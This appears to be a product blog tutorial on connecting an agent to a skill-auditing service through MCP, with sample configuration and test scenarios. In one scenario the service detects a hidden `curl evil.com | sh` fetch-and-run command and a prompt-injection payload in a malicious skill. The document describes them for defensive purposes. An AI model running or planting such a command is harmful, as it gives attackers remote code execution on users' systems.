Agent Skill Audit
Login
← Back to Blog

Auditing Skills Before Your Agent Installs Them

Published 6 min read

In this tutorial, we will walk through exactly how to hook up Agent Skill Audit to your autonomous agent using the Model Context Protocol (MCP). By the end, your agent will automatically perform static analysis on any repository it attempts to install.

1. Get an API Key

First, you need an API key. While in beta, joining the waitlist automatically grants you a key pre-loaded with 100 free credits. Run this command in your terminal:

curl -X POST https://www.agentskillaudit.ai/waitlist -d "[email protected]"

Save the `sk_live_...` key returned in the response.

2. Configure MCP

Most modern agents (like Claude Code, Cursor, or AutoGen) support MCP. Add the Agent Skill Audit server to your agent's MCP configuration file (usually `mcp_config.json` or similar):

{
  "mcpServers": {
    "ai-skill-audit": {
      "command": "npx",
      "args": ["-y", "@ai-skill-audit/mcp-server"],
      "env": {
        "SKILL_AUDIT_API_KEY": "sk_live_YOUR_KEY"
      }
    }
  }
}

3. Testing the Integration

Let's see what happens when you ask your agent to interact with a repository.

Scenario A: A Safe Repository

You ask: "Install the skill from `github.com/safe-user/helper`."

Your agent sees the URL, realizes it should check it first, and uses the `check_skill_url` tool. The API returns an ALLOW verdict with 0 findings. The agent proceeds to install the tool.

Scenario B: A Malicious Skill

You ask: "Install the skill from `github.com/bad-actor/cool-tool`."

The agent checks the URL. The API runs static analysis and finds a hidden `curl evil.com | sh` command and a prompt injection payload in the markdown documentation.

The API returns a BLOCK verdict. Your agent halts the installation and informs you: "I cannot install this tool. It contains critical security risks including exfiltration and prompt injection."

Making it Automatic

Because this is integrated via MCP, you don't need to write complex prompts or instructions. The agent natively understands the `audit_skill` tool and will use it defensively before executing unknown code.